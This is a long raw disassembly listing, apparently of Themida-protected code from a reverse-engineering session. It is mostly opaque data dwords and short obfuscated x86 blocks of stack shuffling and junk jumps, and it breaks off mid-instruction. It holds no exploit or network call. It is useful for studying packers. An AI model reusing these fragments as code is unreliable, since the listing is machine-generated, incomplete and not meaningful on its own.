0BBFFFF8Dh, 12FF22D3h, 8245C01h, 24048B5Bh dd 4C481h, 3CE90000h, 68FFFF8Ch, 4777h, 54243489h, 186D685Eh dd 1C890000h, 4BB24h, 0EE810000h, 18726215h, 0E957DE01h dd 0FFFFA9C3h ; --------------------------------------------------------------------------- loc_53C74C: ; CODE XREF: Themida_:00535C74j mov ebp, [esp] add esp, 4 shr eax, 10h xor eax, ecx push eax push edi pop eax jmp loc_53B8B7 ; --------------------------------------------------------------------------- db 58h dd 0FFD239E9h db 0FFh ; --------------------------------------------------------------------------- loc_53C765: ; CODE XREF: Themida_:0053FD36j shr ecx, 7 sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_54018E ; --------------------------------------------------------------------------- loc_53C799: ; CODE XREF: Themida_:0053AEE8j not ecx jmp loc_53687A ; --------------------------------------------------------------------------- loc_53C7A0: ; CODE XREF: Themida_:0053E720j mov [esp], edi jmp loc_53790C ; --------------------------------------------------------------------------- dd 0D60BF57h, 0CF81670Ah, 15EB5C59h, 8107E7C1h, 795287EFh dd 5EFC15Eh, 0FFB8E4E9h db 0FFh byte_53C7C5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00535260o aHQ db '$h)q',0 align 2 dw 3489h dd 0A6A2E924h db 2 dup(0FFh) word_53C7D6 dw 53ACh ; DATA XREF: Themida_:005351F4o dd 0EB8037B3h, 0E9090428h, 0FFFFD021h, 2BA52h, 0D3290000h dd 241C875Ah, 0C89665Ch, 4EC8324h, 0E9240489h, 0FFFFD66Ch dd 0C281FA01h, 3A1D0685h, 81243C8Bh, 4C4h, 8F10E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C816: ; CODE XREF: Themida_:00537066j add ebp, 4 push ecx jmp loc_53EA8A ; --------------------------------------------------------------------------- dw 3489h dd 348B5424h, 4C48124h, 68000000h, 585Ah, 0E9241C89h, 0A24h dd 5C243487h, 4B30F66h, 18E99C24h db 8Bh, 2 dup(0FFh) byte_53C84B db 66h ; DATA XREF: Themida_:005351B0o dd 5224048Bh, 0FF992BE9h db 0FFh ; --------------------------------------------------------------------------- loc_53C855: ; CODE XREF: Themida_:005355B5j mov [esp], eax push edi push 77CB3269h pop edi push ebx jmp loc_53FB57 ; --------------------------------------------------------------------------- db 68h, 0Ch, 35h dd 35E90000h, 0F7FFFFF0h, 0D1DEF7DEh, 0D7F681EEh, 46670D63h dd 1F52EE81h, 0F2892F94h, 0CEC1815Eh, 81082C2Dh, 312B69C1h dd 0BB51E936h, 0C89FFFFh, 4741E924h, 0D8F70000h, 105h dd 74B95100h, 29E6E2D4h, 240C8BC8h, 8104C483h, 4C397BEAh dd 9FEA8113h, 0E93A5368h, 0FFFFD8CAh ; --------------------------------------------------------------------------- loc_53C8C4: ; CODE XREF: Themida_:0053D99Aj pop edx jmp loc_53C33A ; --------------------------------------------------------------------------- loc_53C8CA: ; CODE XREF: Themida_:0053A643j push 1A2Bh mov [esp], eax xchg ebp, [esp] sub esp, 4 mov [esp], ebp not dword ptr [esp] pop ebp push ecx mov ecx, esp add ecx, 4 jmp loc_53EE1F ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 0EC4DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C8FA: ; CODE XREF: Themida_:0053AFDDj add al, bh add al, 1Fh jmp loc_53CCE7 ; --------------------------------------------------------------------------- db 83h dd 0C82104C4h, 0F22FE959h, 0E581FFFFh, 4DC45339h, 2EBA5245h dd 314E934Eh, 0EA895AD5h, 42C2815Dh, 8176534Eh, 3F4BFDCAh dd 0F3CA8104h, 50764C0Ch, 9A6A65B8h, 9DC90541h, 0EA812C77h dd 619114CEh, 6E9C201h, 30000041h, 0E99C2404h, 0FFFF8A0Fh dd 34FFDE89h, 0C4835B24h, 0E9F30104h, 0FFFFC868h, 24BAh dd 0F668E900h, 0C483FFFFh, 24048F04h, 6624248Bh, 9C240401h dd 0FF89E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_53C981: ; CODE XREF: Themida_:0053F92Bj push edi push 3735h jmp loc_538B3F ; --------------------------------------------------------------------------- dd 59D8F281h, 0EFE969C4h, 0B8FFFFAAh, 0BAE4C63h, 4762805h dd 70BD5522h, 5160295Ah, 9B3D96B9h, 81E1D11Ah, 69F723C1h dd 8BCD21E0h, 0FFE9240Ch, 8FFFFFCDh, 0EC812404h, 4, 0B8240489h dd 4, 4244401h, 0DB6EE958h, 8B66FFFFh, 0C5E92414h, 51000006h dd 0BDB85052h, 0E91DA665h, 0D2Ah, 0E99CC885h, 0FFFF896Bh dd 4C481h, 0F5810000h, 20C01E67h, 0FFB42BE9h, 0BE7DBDFFh dd 0B8503E3Ah, 4D760357h, 0AD6C252Dh, 0E9D8F71Fh, 0FFFFD735h ; --------------------------------------------------------------------------- loc_53CA20: ; CODE XREF: Themida_:0053A892j push dword ptr [esp] jmp loc_53B67A ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFFB8D8h, 4C48358h, 3F68h, 0B8DE900h dd 0EEC10000h, 67EE8106h, 0E9535C62h, 0FFFFAA1Ch db 29h, 0D7h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_53D94B ; --------------------------------------------------------------------------- db 81h dd 0BA57BBF1h, 0FFCA89D3h, 0E9592434h, 31F2h ; --------------------------------------------------------------------------- loc_53CA74: ; CODE XREF: Themida_:005381A9j pop esi sub esp, 4 mov [esp], ebp mov ebp, 61396B73h shl ebp, 2 sub ebp, 63592DE2h dec ebp jmp loc_537225 ; --------------------------------------------------------------------------- db 0F7h dd 0E0F781DFh, 8166CF51h, 0AB282FF7h, 7E7C12Eh, 9036C781h dd 0FA29AECDh, 0E958525Fh, 0FFFF9E22h, 27E9D6F7h, 1Eh dd 240C8BE8h, 4C481h, 23040000h, 0FFE025E9h, 0E95150FFh dd 36F3h, 2D05E8C1h, 3FB7FF0h, 0FFF151E9h, 241C89FFh, 8B2434FFh dd 0F8682404h, 89000055h, 0E954243Ch, 0FFFFCF65h ; --------------------------------------------------------------------------- loc_53CAF4: ; CODE XREF: Themida_:00537967j add esi, 4 add esi, 2 jmp loc_536347 ; --------------------------------------------------------------------------- dw 815Dh dd 9B3DD2F5h, 0EE01583Ah, 0FFC9A2E9h, 2F9CBDFFh, 0F74D6D11h dd 0DAE1E9DDh, 0F568FFFFh, 5E76DF02h, 17DFEA81h, 0F2292E68h dd 0FFB17AE9h, 0E9D701FFh, 0FFFFBECFh, 0FE24248Bh, 0E99C240Ch dd 0FFFF881Fh ; --------------------------------------------------------------------------- loc_53CB44: ; CODE XREF: Themida_:0053AB6Aj push edx jmp loc_53A76C ; --------------------------------------------------------------------------- dw 0EE81h dd 20E70B8h, 0B951DE01h, 20E70B8h, 4D3EE81h, 0CE011D8Fh dd 4D3C681h, 81591D8Fh, 9C0BD7C6h, 0FF565B2Ch, 0E9042474h dd 0FFFF8ED0h dword_53CB78 dd 24048B66h, 0BF4E951h, 0EF810000h, 72867125h, 66E9F901h ; DATA XREF: Themida_:005351E4o dd 0FE000005h, 2FF380CBh, 45BD828h, 0EB8059E9h, 42EB8087h dd 8EC380h, 32AE9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53CBAA: ; CODE XREF: Themida_:00536DFFj pop edx jmp loc_53A3EB ; --------------------------------------------------------------------------- loc_53CBB0: ; CODE XREF: Themida_:0053A7E0j shr edx, 5 push 4F15h jmp loc_535916 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0F04C483h, 8956C0B6h, 4C681E6h, 81000000h, 4EEh, 24348700h dd 34A4E95Ch, 0EBD10000h, 814BD3F7h, 28236EC3h, 0E9D80956h dd 0C24h ; --------------------------------------------------------------------------- loc_53CBF0: ; CODE XREF: Themida_:0053B0D5j mov edx, 419A26EDh jmp loc_539491 ; --------------------------------------------------------------------------- loc_53CBFA: ; CODE XREF: Themida_:005408C3j xor ebp, eax xor eax, ebp not ebp push eax push ebp pop eax push dword ptr [esp] push dword ptr [esp] pop ebp push esi push esp pop esi push 7BA6h mov [esp], ebp jmp loc_5406D8 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 5604EE83h, 42474FFh, 235E9h, 2B900h, 0CD010000h dd 242C8759h, 0C885665Ch, 0F8EBE99Ch, 0BF57FFFFh, 77AC6CA7h dd 0CF81D7F7h, 1FE161C6h, 0FFCF1EE9h, 7F66BDFFh, 0FE92806h dd 68FFFFB6h, 0C9Eh, 0FF945CE9h, 4E8C1FFh, 5884452Dh, 4EC8300h dd 0BD242C89h, 0B5319ADh, 4F33E581h, 0ED8145FDh, 0E2890722h dd 71E9EB01h db 0EEh, 2 dup(0FFh) byte_53CC8F db 0FFh ; DATA XREF: Themida_:00535308o dd 48B3C77h, 4A426824h, 4890000h, 6AE16824h, 0EBE90000h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53CCA7: ; CODE XREF: Themida_:00539353j add esp, 4 add esp, 4 or eax, eax jz loc_53A143 push dword ptr [edi+1Ch] jmp loc_536F5E ; --------------------------------------------------------------------------- loc_53CCC3: ; CODE XREF: Themida_:0053A29Cj pop eax xor eax, 8302168h push ecx jmp loc_53E13C ; --------------------------------------------------------------------------- db 66h dd 80C3005Ah, 52E948C3h, 5EFFFFD1h, 15A1BF57h, 0D0E97DCFh db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CCE7: ; CODE XREF: Themida_:0053C8FEj mov bx, [esp] jmp loc_53B1C7 ; --------------------------------------------------------------------------- loc_53CCF0: ; CODE XREF: Themida_:0053BB4Cj add esi, 4 jmp loc_53F405 ; --------------------------------------------------------------------------- dd 0E95EF301h, 0FFFF9201h, 0EB81EB01h, 47D76AD9h, 83242C8Bh dd 0EC8304C4h, 24148904h, 4BAh, 5AD30100h, 0E9241C87h dd 2478h, 688734FFh, 3E92h, 0FFE46EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53CD31: ; CODE XREF: Themida_:005395CFj push dx mov dl, 0B3h sub bl, dl pop dx jmp loc_54079C ; --------------------------------------------------------------------------- dw 0EEC0h dd 3960E902h, 0EB810000h, 52615C6Ch, 0B850C329h, 52615C6Ch dd 0E958C301h, 44DCh ; --------------------------------------------------------------------------- loc_53CD5C: ; CODE XREF: Themida_:0053DC76j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_537502 ; --------------------------------------------------------------------------- dw 0F729h aSm6 db '^ém6',0 align 2 dw 0C589h dd 8BF58158h, 8108E74Ah, 0F2FEBCC5h, 0E9EF8933h, 0FFFFBBFDh dd 0E9242C89h, 468Ch, 5604C483h, 2AC268h, 74015E62h, 0E95E0424h dd 1A22h ; --------------------------------------------------------------------------- loc_53CDAC: ; CODE XREF: Themida_:00540C1Cj mov esp, [esp] mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5381DA ; --------------------------------------------------------------------------- dd 0F910A105h, 7E0C17Dh, 2742FC2Dh, 58C60194h, 0BFFDE950h dd 8143FFFFh, 447906E3h, 7CEB813Fh, 89DE48E7h, 0F5815BDDh dd 749926BEh, 0AD8ED81h, 0EA011F35h, 8BD0015Dh, 0C4812414h dd 4, 5004C083h, 0FFDF98E9h, 241489FFh, 0FE52A8B2h, 865A240Ch dd 30CDFEEAh, 30D530EAh, 7EAC0EAh, 40BC280h, 2CD0000Ch dd 0EDCFE90Ch, 0DBF7FFFFh, 0E381DBF7h, 79B2131Dh, 2746E9h dd 0E9535600h, 0FFFFD55Dh ; --------------------------------------------------------------------------- loc_53CE48: ; CODE XREF: Themida_:005410FAj mov edi, 4D1022B7h shl edi, 8 push 1924h jmp loc_5361DA ; --------------------------------------------------------------------------- word_53CE5A dw 8F64h ; DATA XREF: Themida_:0053513Co dd 8501E902h, 0E95EFFFFh, 0FFFFC81Eh, 451D4EBEh, 0E9C60114h dd 0FFFFCAC8h, 4BDh, 5DEA0100h, 0E9241487h, 0FFFF9249h dd 8904EC83h, 0B7BB241Ch, 81156E37h, 0E90A82CBh, 0B67DE952h db 2 dup(0FFh) word_53CE9A dw 8B66h ; DATA XREF: Themida_:005350B0o dd 57562404h, 3E9E789h, 81FFFFE0h, 201A6EC7h, 5FFE019Dh dd 7A57BD55h, 0E5810352h, 34A112ECh, 0EDBEC581h, 0B850FFFFh dd 0CD4038Bh, 0DB182005h, 0E9C62962h, 0FFFF8F45h, 508EEB80h dd 0AEE9CBB4h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CEDF: ; CODE XREF: Themida_:005384E9j add ebp, 291C5C55h jmp loc_53EDEF ; --------------------------------------------------------------------------- dw 805h dd 833DC44Bh, 0C8904ECh, 1FBB5324h, 8144D534h, 0D5321FEBh dd 0B08CE944h, 0C331FFFFh, 0E9008F66h, 0FFFF8453h, 81D6015Bh dd 0E21320C6h, 2434FF10h, 4C4815Ah, 0E9000000h, 30Dh, 80FFC480h dd 7BE945ECh, 83FFFFE9h, 3C8704C7h, 0BE565C24h, 4, 348BF501h dd 4C48124h, 68000000h, 556Bh, 68240C89h, 2, 59CD0159h dd 8B242C87h, 10E92424h, 31FFFFEBh, 34332434h, 8B665C24h dd 71682404h, 89000042h, 8FE9241Ch db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_53CF7F: ; CODE XREF: Themida_:005406F3j shr esi, 3 sub esi, 0E6F48DFh add ebp, 39FA4D70h add ebp, esi sub ebp, 39FA4D70h mov esi, [esp] add esp, 4 push ebp push dword ptr [esp+4] jmp loc_53E053 ; --------------------------------------------------------------------------- db 81h, 0C6h, 58h dd 53271775h, 0CD0EC9BBh, 3CE94B6Fh db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_53CFBB: ; CODE XREF: Themida_:00537C93j ; Themida_:0053E89Ej push 3CEEh mov [esp], ebx push esi mov esi, 5FF77DEFh jmp loc_53630A ; --------------------------------------------------------------------------- loc_53CFCE: ; CODE XREF: Themida_:0053E224j pop esp mov [esp], ebx push eax mov eax, 77687B2Fh jmp loc_54150F ; --------------------------------------------------------------------------- loc_53CFDD: ; CODE XREF: Themida_:0053DCB8j mov edi, 264C5B3Ch or edi, 11966691h sub edi, 5A35095Eh inc edi jmp loc_53B0FB ; --------------------------------------------------------------------------- loc_53CFF4: ; CODE XREF: Themida_:0053F868j sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_53688C ; --------------------------------------------------------------------------- dd 815DEE21h, 0A5B6F2EEh, 3DC0E9C3h, 2C8B0000h, 4C48324h dd 0CFF1E957h, 0DDF7FFFFh, 61C581h, 0EC83564Fh, 0F0DEE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D02A: ; CODE XREF: Themida_:0053EAA0j pop edx sub bl, 0E0h jmp loc_53BBAA ; --------------------------------------------------------------------------- db 0BEh dd 4, 0E95EF001h, 3124h, 0AFE94893h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D047: ; CODE XREF: Themida_:00540216j inc edi add edi, 2DF41230h add ebp, edi pop edi add esi, 334006D0h sub esi, ebp sub esi, 334006D0h pop ebp jmp loc_53560A ; --------------------------------------------------------------------------- loc_53D065: ; CODE XREF: Themida_:00537F8Dj mov [esp], ebp push ecx mov ecx, 19EC6C0Ah jmp loc_5366F8 ; --------------------------------------------------------------------------- aRCm1sCsoe db '½r[—m1è]—éOE',0 dd 165D6800h, 3C890000h, 0F4EAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D08E: ; CODE XREF: Themida_:0053DD49j push 7619h mov [esp], ecx mov ecx, 2000000h push ecx jmp loc_53DBC6 ; --------------------------------------------------------------------------- db 5Ah, 53h, 0E9h dd 0FFFF84AFh, 81E78957h, 4C7h, 2C78100h, 87000000h, 0E95C243Ch dd 0FFFFE0A2h, 0C681E689h, 4, 438FE9h db 0 ; --------------------------------------------------------------------------- loc_53D0CD: ; CODE XREF: Themida_:0053B387j add ebx, edi add ebx, 38D30E9Bh mov [ebx], edx jmp loc_53DA89 ; --------------------------------------------------------------------------- dd 582434FFh, 8304C483h, 44E904E9h, 5FFFFC6h, 3E157DECh dd 0FFF298E9h, 0C875FFFh, 24248B24h, 4C481h, 81680000h dd 89000036h, 0EC83243Ch, 0C684E904h, 0F8B8FFFFh, 40341C48h dd 4497E9h, 0FE840F00h, 68FFFFE9h, 0EF9h, 5404EC83h, 8124048Fh dd 42404h, 48F0000h, 0FF43E924h, 0FF57FFFFh, 8B042474h dd 0C483243Ch, 9794E904h, 0E951FFFFh, 0FFFFB038h, 0E904E883h dd 1BFBh, 81243C8Bh, 4C4h, 4C78100h, 81000000h, 4ECh, 24148900h dd 2BAh, 0F9B3E900h, 5C68FFFFh, 89000013h, 0D8E9240Ch db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D18B: ; CODE XREF: Themida_:0053A7BFj pop esp jmp loc_536132 ; --------------------------------------------------------------------------- loc_53D191: ; CODE XREF: Themida_:0053D46Fj add eax, edx pop edx mov edi, [esp] jmp loc_538AB7 ; --------------------------------------------------------------------------- loc_53D19C: ; CODE XREF: Themida_:00539C6Cj xchg ebx, [esp] not ebx xchg ebx, [esp] pop ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp jmp loc_5412A9 ; --------------------------------------------------------------------------- loc_53D1B3: ; CODE XREF: Themida_:0053F507j xor [esp], esi xor esi, [esp] pop esp push 70F9h jmp loc_53BEC6 ; --------------------------------------------------------------------------- dd 794FE681h, 0EC83297Bh, 24148904h, 0FFE9B5E9h, 0BFF281FFh dd 0E9B9E933h, 4351h dword_53D1E0 dd 582434FFh, 8904EC83h, 0E189240Ch, 4C181h, 89520000h ; DATA XREF: Themida_:00535134o dd 4C281E2h, 81000000h, 4EAh, 24148700h, 0FFCC9FE9h, 24148BFFh dd 2C04C483h, 0E2895237h, 0FFD20AE9h db 0FFh ; --------------------------------------------------------------------------- loc_53D219: ; CODE XREF: Themida_:00540204j push edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_535980 ; --------------------------------------------------------------------------- db 83h, 0C6h, 2 dd 108EE9h, 6EE95800h, 83FFFFE3h, 1C8904ECh, 565B5424h dd 0FFEC33E9h, 34315CFFh, 24343324h, 0E9243431h, 0FFFF8103h dd 4BBh, 0E9DE0100h, 3C7Ch, 1F0851BAh, 55F2814Dh, 564D1F08h dd 9456853h, 0E95B373Eh, 30FCh, 81240C8Bh, 4ECh, 24048900h dd 0CAE95854h, 0BA00001Ch, 17B27638h, 6B46BE56h, 0EEC12BABh dd 0B6C68106h, 0C1064F50h, 0F68102E6h, 0E2A3831h, 0FFDB63E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D2B9: ; CODE XREF: Themida_:0053EBF3j pop esi mov edi, [esp] add esp, 4 and eax, esi push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_53F44F ; --------------------------------------------------------------------------- loc_53D2CE: ; CODE XREF: Themida_:0053A0FCj push edx mov edx, 0 sub edx, edi xchg edx, edi pop edx xor edi, 595859F3h jmp loc_5380C4 ; --------------------------------------------------------------------------- dd 6A0ABD55h, 1FE90C1Ah, 66FFFFF6h, 39CC581h, 24C58166h dd 0E8016683h, 83242C8Bh, 556604C4h, 31068h, 9D64E900h dd 0EC81FFFFh, 4, 0FFDA66E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D319: ; CODE XREF: Themida_:0053EC3Dj shr edi, 5 dec edi sub edi, 0CA184BFDh jmp loc_5399F0 ; --------------------------------------------------------------------------- dd 57D2C381h, 0C3814D02h, 3FD82EB1h, 0EC77E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D33A: ; CODE XREF: Themida_:0053DA20j pop esp jmp loc_537D99 ; --------------------------------------------------------------------------- dd 575BBB53h, 9EE97C89h, 5B00001Ah, 4C481h, 0C2010000h dd 0FFDAA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D359: ; CODE XREF: Themida_:0053E057j mov esp, [esp] jmp loc_535363 ; --------------------------------------------------------------------------- db 81h, 0EAh, 57h dd 2961DAC3h, 0F8315AD7h, 83243C8Bh, 0D4E904C4h, 0F6000014h dd 8EBC0D3h, 0FFE1DEE9h, 4C481FFh, 56000000h, 930E9h, 5AD02900h dd 48BC601h, 4C48124h, 33000000h, 34312434h, 24343324h dd 2129685Ch, 0DCE90000h db 3Ah, 2 dup(0) byte_53D3AF db 0ADh ; DATA XREF: Themida_:0053518Co dd 8904EC83h, 15BE2434h, 297BC705h, 5A055EF0h, 568C74Eh dd 6A2D7C02h, 25E9D829h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D3CF: ; CODE XREF: Themida_:0053D4FBj xor ecx, 5D1905A0h jmp loc_5394AC ; --------------------------------------------------------------------------- word_53D3DA dw 77FFh ; DATA XREF: Themida_:00535110o dd 58669D1Ch, 24041166h, 7F79E99Ch db 2 dup(0FFh) word_53D3EA dw 34FFh ; DATA XREF: Themida_:00535140o dd 0FE92E924h, 0C681FFFFh, 0DBE6FD8Ah, 0FFB17CE9h, 242C81FFh dd 645B6D20h, 1F1CE958h, 0B7530000h, 2CE7808Eh, 8022E780h dd 8DE980C7h db 31h, 2 dup(0) byte_53D41B db 68h ; DATA XREF: Themida_:005350D0o dd 73EDh, 0FFE88EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53D425: ; CODE XREF: Themida_:0053F18Ej mov ah, 98h jmp loc_53C2A0 ; --------------------------------------------------------------------------- dd 243C8B5Eh, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 4EC81h dd 2C890000h, 74F6BD24h, 0BB531E6Bh, 109E5B72h, 0F7AE9h db 0 ; --------------------------------------------------------------------------- loc_53D459: ; CODE XREF: Themida_:0053FEA9j add eax, edi pop edi push edi mov edi, 6EAF77F2h sub eax, 21D67833h add eax, edi push edx mov edx, 21D67833h jmp loc_53D191 ; --------------------------------------------------------------------------- dd 0FF7EEAE9h, 9ACB81FFh, 81232660h, 9B2F28F3h, 0D9B95120h dd 290AE703h, 0D92959CBh, 5451565Bh, 0EC21E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D49A: ; CODE XREF: Themida_:00536D98j mov edi, esp add edi, 4 jmp loc_538B2B ; --------------------------------------------------------------------------- db 89h dd 34FF243Ch, 89535A24h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 1C54E9h, 5EF03100h, 62E9F831h, 81FFFFE0h, 4ECh, 243C8900h dd 311CE9h, 0C1315B00h, 147E9h, 0A52C00h, 51A504D8h, 0F58050B5h dd 0E120E96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D4F6: ; CODE XREF: Themida_:0053718Fj mov ecx, 4204544h jmp loc_53D3CF ; --------------------------------------------------------------------------- loc_53D500: ; CODE XREF: Themida_:0053E70Ej push eax push esp jmp loc_53EDDB ; --------------------------------------------------------------------------- db 2Ch dd 24148BC4h, 8904EC83h, 0E2892414h, 4BF57h, 0FA010000h dd 235E95Fh, 0E1890000h, 0FFB160E9h, 3B05BAFFh, 0C2813664h dd 743362C2h, 8107EAC1h, 0B5375BCAh, 8EE28131h, 0F738170Ah dd 0C817E9DAh, 515DFFFFh, 0FFDC60E9h db 0FFh ; --------------------------------------------------------------------------- loc_53D551: ; CODE XREF: Themida_:0053728Bj mov [esp], edi push 0B54h mov [esp], esp push eax push 4 pop eax add [esp+4], eax pop eax pop edi push ebx mov ebx, 7F800326h dec ebx shr ebx, 4 jmp loc_53A687 ; --------------------------------------------------------------------------- dd 0D22CD028h, 5124148Bh, 0C181E189h, 4, 8704C183h, 515C240Ch dd 8270E952h, 0DA31FFFFh, 894DE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D59E: ; CODE XREF: Themida_:00537D9Cj mov edi, 21E02F02h sub esi, 26AA7523h add esi, 163F228Ah sub esi, edi sub esi, 163F228Ah jmp loc_535C30 ; --------------------------------------------------------------------------- dd 0FF24248Bh, 48B2434h, 7DE95024h, 89FFFFA9h, 3C8B2434h dd 24D66824h, 4890000h, 81E08924h, 4ECh, 243C8900h, 4814D7BFh dd 0CBC78121h, 81547465h, 0C5CD5EFh, 62CF814Ch, 0D1324F6Ah dd 7EFC1E7h, 0FFEA03E9h, 77C380FFh, 0FFF5B0E9h db 0FFh byte_53D60D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00535170o aPs db '$Pé[/',0 dw 5F00h dd 815AD501h, 4C5h, 74FF5500h, 0E95D0424h, 0FFFFB62Ah dd 8124048Bh, 4C4h, 59CD0100h, 4ED81h, 0AE90000h, 8BFFFFABh dd 89662424h, 0A5B1240Ch, 25B8E952h, 0C1450000h, 814D08EDh dd 61196CDh, 36BE5610h, 3151DA00h, 81E95EF5h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D66B: ; CODE XREF: Themida_:0053715Aj mov edx, esp add edx, 4 jmp loc_53E21B ; --------------------------------------------------------------------------- loc_53D678: ; CODE XREF: Themida_:005362E5j add bl, ch jmp loc_53AD2E ; --------------------------------------------------------------------------- a6aZ db 'µ6€Å‡',0 db 0E8h, 59h, 0E9h dd 0FFFFE2BFh dword_53D68C dd 92E956ADh, 87FFFFE9h, 7E9242Ch ; DATA XREF: Themida_:00535088o db 86h, 2 dup(0FFh) byte_53D69B db 0ADh ; DATA XREF: Themida_:00535258o dd 0FE87E952h, 0E950FFFFh, 0FFFFA4FEh, 142768h, 24148900h dd 0FF9C58E9h, 2474FFFFh, 48F5B04h, 4895C24h, 48B5424h dd 0E0895024h, 405h, 4C08300h, 5C240487h, 3C5EE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53D6DA: ; CODE XREF: Themida_:00536FF3j xchg ebx, [esp] pop esp jmp loc_541538 ; --------------------------------------------------------------------------- db 0FFh dd 5D042474h, 8B24048Fh, 4202424h, 6CE99C24h db 7Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D6F7: ; CODE XREF: Themida_:0053A3CDj mov al, 0E4h sub bl, al pop ax push small 7993h mov [esp], cx push 7790h mov [esp], eax mov ah, 0B5h shr ah, 5 shl ah, 2 jmp loc_539132 ; --------------------------------------------------------------------------- dw 8735h dd 5068A14Fh, 0CA240481h, 5A0A2775h, 75CAEA81h, 56580A27h dd 4F22BA52h, 0CABE3CABh, 813A0D04h, 0A1048DEEh, 81D60106h dd 0A1048DC6h, 0C6815A06h, 144081DBh, 86E9F201h, 83FFFFE8h dd 143304C2h, 24143124h, 8B241433h, 68662424h, 89665661h dd 0B0502414h, 3C30E9E2h, 0E1890000h, 4BD55h, 0E9810000h dd 401C578Fh, 4C8AC181h, 0E9013465h, 4C8AE981h, 0C1813465h dd 401C578Fh, 81242C8Bh, 4ECh, 240C8900h, 0C181E189h, 4 dd 0FFC469E9h, 0E9C501FFh, 0FFFF975Fh dword_53D7B8 dd 24048B66h, 1D2768h, 0FCFE900h ; DATA XREF: Themida_:005351F8o db 2 dup(0) word_53D7C6 dw 77FFh ; DATA XREF: Themida_:00535224o dd 58669D1Ch, 9C240410h, 0FF7B8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53D7D5: ; CODE XREF: Themida_:00536F4Cj add edi, 0CA16FA9Ah add ecx, edi pop edi not ecx xor ecx, 0D8B0692h sub ecx, 5991D2DFh add ebp, 32B85681h add ebp, ecx sub ebp, 32B85681h pop ecx jmp loc_538410 ; --------------------------------------------------------------------------- dd 3DEDC281h, 0FA011E9Fh, 3DEDEA81h, 0E95F1E9Fh, 0FFFFDE8Ah dd 25660D5Bh, 0F4057C34h, 2D19450Bh, 6E01388Eh, 2958C229h dd 64C281C2h, 562B4349h, 0FFF2E9E9h, 4C781FFh, 50000000h dd 0DF7E9h db 0 ; --------------------------------------------------------------------------- loc_53D841: ; CODE XREF: Themida_:0053E18Ej push 47Ch mov [esp], ebp jmp loc_539DE0 ; --------------------------------------------------------------------------- word_53D84E dw 8B66h ; DATA XREF: Themida_:005351A0o dd 8150240Ch, 4ECh, 24248900h, 4BD55h, 6C010000h, 585D0424h dd 0FFA653E9h, 64B0BDFFh, 0EE93082h db 0B1h, 2 dup(0FFh) byte_53D877 db 66h ; DATA XREF: Themida_:0053515Co dd 5224048Bh, 5404EC83h, 5124048Fh, 468h, 0A183E900h, 0C15DFFFFh dd 0E58105EDh, 37A3CEBh, 5ED81h, 0EE89024Ah, 8BF3015Dh dd 0C4812434h, 4, 2BD55h, 0B4E90000h, 5EFFFFAFh, 4C681h dd 7FE90000h, 0E9FFFFF3h, 0FFFF7A9Bh, 865AF588h, 86D0F6C5h dd 0EDED80C5h, 2CE6ED80h, 28ED04EFh, 66ED2CE8h, 7E3F6852h dd 1C890000h, 0E9EFB724h, 31CCh, 4C781h, 46E90000h, 81FFFFF5h dd 0E84161F7h, 0E9FB019Bh, 0FFFFAF80h ; --------------------------------------------------------------------------- loc_53D908: ; CODE XREF: Themida_:00538D73j sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_538642 ; --------------------------------------------------------------------------- dd 2BDh, 5DEE0100h, 31243433h, 0E7E92434h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53D94B: ; CODE XREF: Themida_:0053CA5Ej pop esp mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push eax mov eax, esp add 